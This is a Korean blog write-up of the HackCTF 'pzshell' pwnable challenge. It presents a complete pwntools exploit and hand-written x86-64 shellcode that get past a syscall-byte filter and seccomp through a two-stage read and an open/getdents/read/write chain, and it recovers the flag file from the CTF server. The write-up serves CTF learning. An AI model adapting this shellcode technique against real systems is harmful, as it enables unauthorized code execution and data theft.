본문 바로가기
Wargame Write-Up/HackCTF

[HackCTF] (Pwnable) pzshell 풀이

by snwo 2021. 10. 6.

pzshell

위 쉘코드 + 내가입력한 opcode 8byte 를 붙여 xor 부터 실행시켜준다.

필터링하는 키워드는 \x0f\x05 이다.

ezshell과 다른 점은, rdx 를 초기화하지 않고, si 에 0xdef1 을 넣어준다는 것 이다.

 

 

쉘코드+2 으로 점프하므로, rdx 에는 xor rbp,rbp 의 주소부터 저장되어있다.

그래서, xchg ? 으로 si 와 rdx 를 바꾼 뒤, read syscall 으로 쉘코드를 새로 입력받는다.

이 때. syscall 을 필터링하지 않으므로 자유롭게 사용할 수 있다.

 

또한 seccomp 설정에서, fork, vfork, clone, creat, ptrace, prctl, execve, execveat 가 필터링되어 있으므로, ORW 를 사용해 문제를 풀어야한다.

두 번째 스테이지에서는,

ezshell 과 같이, fs[0] 으로 r/w 가능한 공간을 불러오고,

shellcraft 의 기능을 사용해 , 현재 디렉토리 (.) 을 읽어서 getdents 로 파일목록을 가져온다,

from pwn import *
#r=process("./pzshell")
r=remote("ctf.j0n9hyun.xyz" ,3038)
context.arch='amd64'
sc="xchg rdx,rsi;"
sc+="jmp $-54"
sc=asm(sc)
print(len(sc))
pause()
r.send(sc.ljust(8,b'\x90'))

sc="mov rsp,QWORD PTR fs:[0];"
sc+=shellcraft.open(".")
sc+=shellcraft.getdents(3,'rsp',0x100)
sc+=shellcraft.write(1,'rsp',0x100)
sc=asm(sc)
r.send(sc)
r.interactive()

(파일명이 3cr3t_F14g 로, s 가 빠진듯한데.. 일단 이걸로 해보도록 하자)

파일 이름을 알아내면, shellcraft 의 push str 로 파일이름을 push 한 뒤,

open, read, write 하는 코드를 작성한다.

sc="mov rsp,QWORD PTR fs:[0];"
#sc+=shellcraft.pushstr("3cr3t_F14g")
sc+=shellcraft.open("S3cr3t_F14g")
sc+=shellcraft.read(3,"rsp",0x100)
sc+=shellcraft.write(1,"rsp",0x100)
sc=asm(sc)
r.send(sc)

파일 읽는코드인데, 앞에 글자가 빠져서, S, s 넣어보니 S 가 맞았다.

 

(아니, debug 모드로 보니까 S 가 있었다. recv 로 받아도 S 가 보인다.

그냥 r.interactive() 로 받아서 그런가부다)

# open(".")
sc="mov rsp,QWORD PTR fs:[0];"
sc+="push 0x2e;"
sc+="mov rdi,rsp;"
sc+="xor rsi,rsi;"
sc+="xor rdx,rdx;"
sc+="push 2;"
sc+="pop rax;"
sc+="syscall;"

# getdents(3,"rsp",0x100)
sc+="mov rdi,rax;"
sc+="mov rsi,rsp;"
sc+="push 0x100;"
sc+="pop rdx;"
sc+="push 78;"
sc+="pop rax;"
sc+="syscall;"

# write(1,"rsp",0x100)
sc+="mov rsi,rsp;"
sc+="push 0x100;"
sc+="pop rdx;"
sc+="push 1;"
sc+="pop rdi;"
sc+="push 1;"
sc+="pop rax;"
sc+="syscall;"

그냥 작성해본 쉘코드입니다. open 한 뒤,

정상적으로 open 되면 fd 가 리턴되니까, rax 를 rdi 에 넣어 파일목록을 rsp 에 읽고,

write 함수로 출력해줍니다.